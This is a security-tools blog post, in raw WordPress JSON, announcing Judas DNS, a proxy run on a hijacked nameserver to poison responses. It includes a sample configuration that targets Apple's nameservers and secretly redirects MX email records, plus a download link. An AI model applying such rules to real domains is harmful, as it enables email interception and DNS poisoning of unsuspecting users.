{"id":5407,"date":"2020-02-19T23:22:49","date_gmt":"2020-02-19T15:22:49","guid":{"rendered":"https:\/\/www.darknet.org.uk\/?p=5407"},"modified":"2020-02-19T23:22:49","modified_gmt":"2020-02-19T15:22:49","slug":"judas-dns-nameserver-dns-poisoning-attack-tool","status":"publish","type":"post","link":"https:\/\/www.darknet.org.uk\/2020\/02\/judas-dns-nameserver-dns-poisoning-attack-tool\/","title":{"rendered":"Judas DNS &#8211; Nameserver DNS Poisoning Attack Tool"},"content":{"rendered":"<p>Judas DNS is a Nameserver DNS Poisoning Attack Tool which functions as a DNS proxy server built to be deployed in place of a taken over nameserver to perform targeted exploitation. Judas works by proxying all DNS queries to the legitimate nameservers for a domain.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.darknet.org.uk\/wp-content\/uploads\/2020\/02\/Judas-DNS-Nameserver-DNS-Poisoning-Attack-Tool-640x345.png\" alt=\"Judas DNS - Nameserver DNS Poisoning Attack Tool\" width=\"640\" height=\"345\" class=\"aligncenter size-medium wp-image-5409\" srcset=\"https:\/\/www.darknet.org.uk\/wp-content\/uploads\/2020\/02\/Judas-DNS-Nameserver-DNS-Poisoning-Attack-Tool-640x345.png 640w, https:\/\/www.darknet.org.uk\/wp-content\/uploads\/2020\/02\/Judas-DNS-Nameserver-DNS-Poisoning-Attack-Tool.png 650w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/><\/p>\n<script async src=\"https:\/\/pagead2.googlesyndication.com\/pagead\/js\/adsbygoogle.js?client=ca-pub-3033787195489589\"\r\n     crossorigin=\"anonymous\"><\/script>\r\n<!-- Darknet Responsive Post Ad Links [previously link ad unit] -->\r\n<ins class=\"adsbygoogle\"\r\n     style=\"display:block\"\r\n     data-ad-client=\"ca-pub-3033787195489589\"\r\n     data-ad-slot=\"5456620019\"\r\n     data-ad-format=\"auto\"><\/ins>\r\n<script>\r\n     (adsbygoogle = window.adsbygoogle || []).push({});\r\n<\/script>\n<p>The magic comes with Judas&#8217;s rule configurations which allow you to change DNS responses depending on source IP or DNS query type. This allows an attacker to configure a malicious nameserver to do things like selectively re-route inbound email coming from specified source IP ranges (via modified MX records), set extremely long TTLs to keep poisoned records cached, and more.<\/p>\n<h2>How to use Judas DNS Nameserver DNS Poisoning Attack Tool<\/h2>\n<p>The following is an example configuration for Judas for an example scenario where an attacker has compromised\/taken over one of Apple&#8217;s authoritative nameservers (for apple.com):<\/p>\n<pre>\r\n{\r\n    \"version\": \"1.0.0\",\r\n    \"port\": 2248,\r\n    \"dns_query_timeout\": 10000,\r\n    \"target_nameservers\": [ \"17.254.0.59\", \"17.254.0.50\", \"17.112.144.50\", \"17.112.144.59\", \"17.171.63.30\", \"17.171.63.40\", \"17.151.0.151\", \"17.151.0.152\" ],\r\n    \"rules\": [\r\n        {\r\n            \"name\": \"Secretly redirect all emails coming from 127.0.0.1!\",\r\n            \"query_type_matches\": [ \"MX\" ],\r\n            \"ip_range_matches\": [ \"127.0.0.1\/32\" ],\r\n            \"modifications\": [\r\n                {\r\n                    \"answer\": [\r\n                        {\r\n                            \"name\": \"apple.com\",\r\n                            \"type\": 15,\r\n                            \"class\": 1,\r\n                            \"ttl\": 10,\r\n                            \"priority\": 10,\r\n                            \"exchange\": \"hacktheplace.localhost\"\r\n                        }\r\n                    ]\r\n                }\r\n            ]\r\n        },\r\n        {\r\n            \"name\": \"Make all responses NOERROR even if they've failed.\",\r\n            \"query_type_matches\": [ \"*\" ],\r\n            \"modifications\": [\r\n                {\r\n                    \"header\": {\r\n                        \"rcode\": 0\r\n                    }\r\n                }\r\n            ]\r\n        }\r\n    ]\r\n}<\/pre>\n<p>The above configuration value purposes are the following:<\/p>\n<ul>\n<li>    <strong>version:<\/strong> The configuration file format version (for now is always 1.0.0).<\/li>\n<li>    <strong>port:<\/strong> The port Judas should run on.<\/li>\n<li>    <strong>dns_query_timeout:<\/strong> How long to wait in milliseconds before giving up on a reply from the upstream target nameserver.<\/li>\n<li>    <strong>target_nameservers:<\/strong> The legit nameservers for your target domain, all DNS queries will be sent here from Judas on behalf of all requesting clients.<\/li>\n<li>    <strong>rules:<\/strong> A list of rules with modifications to the DNS response to apply if matched.<\/li>\n<ul>\n<li>       <strong>name:<\/strong> Name of a given rule.<\/li>\n<li>      <strong>query_type_matches:<\/strong> List of query types to match on such as CNAME, A, etc. A wildcard (*) can also be specified to match any query type.<\/li>\n<li>        <strong>ip_range_matches:<\/strong> List of IP ranges to match on. For selectively spoofing responses to a specific range of IPs.<\/li>\n<li>       <strong>modifications:<\/strong> See the &#8220;Modifications&#8221; section of this README.<\/li>\n<\/ul>\n<\/ul>\n<p>You can download Judas DNS here:<\/p>\n<p><a href=\"https:\/\/github.com\/mandatoryprogrammer\/JudasDNS\/archive\/master.zip\">JudasDNS-master.zip<\/a><\/p>\n<p>Or read more <a href=\"https:\/\/github.com\/mandatoryprogrammer\/JudasDNS\">here<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Judas DNS is a Nameserver DNS Poisoning Attack Tool which functions as a DNS proxy server built to be deployed in place of a taken over nameserver to perform targeted exploitation. Judas works by proxying all DNS queries to the legitimate nameservers for a domain. The magic comes with Judas&#8217;s rule configurations which allow you [&hellip;]<\/p>\n","protected":false},"author":25,"featured_media":5409,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"Judas DNS - Nameserver DNS Poisoning Attack Tool","_seopress_titles_desc":"Judas DNS is a Nameserver DNS Poisoning Attack Tool which functions as a DNS proxy server built to be deployed in place of a taken over nameserver to perform targeted exploitation.","_seopress_robots_index":"","_genesis_hide_title":false,"_genesis_hide_breadcrumbs":false,"_genesis_hide_singular_image":false,"_genesis_hide_footer_widgets":false,"_genesis_custom_body_class":"","_genesis_custom_post_class":"","_genesis_layout":"","footnotes":""},"categories":[9],"tags":[],"featured_image_src":"https:\/\/www.darknet.org.uk\/wp-content\/uploads\/2020\/02\/Judas-DNS-Nameserver-DNS-Poisoning-Attack-Tool-600x350.png","featured_image_src_square":"https:\/\/www.darknet.org.uk\/wp-content\/uploads\/2020\/02\/Judas-DNS-Nameserver-DNS-Poisoning-Attack-Tool-600x350.png","author_info":{"display_name":"Darknet","author_link":"https:\/\/www.darknet.org.uk\/author\/darknet\/"},"_links":{"self":[{"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/posts\/5407"}],"collection":[{"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/users\/25"}],"replies":[{"embeddable":true,"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/comments?post=5407"}],"version-history":[{"count":0,"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/posts\/5407\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/media\/5409"}],"wp:attachment":[{"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/media?parent=5407"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/categories?post=5407"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.darknet.org.uk\/wp-json\/wp\/v2\/tags?post=5407"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}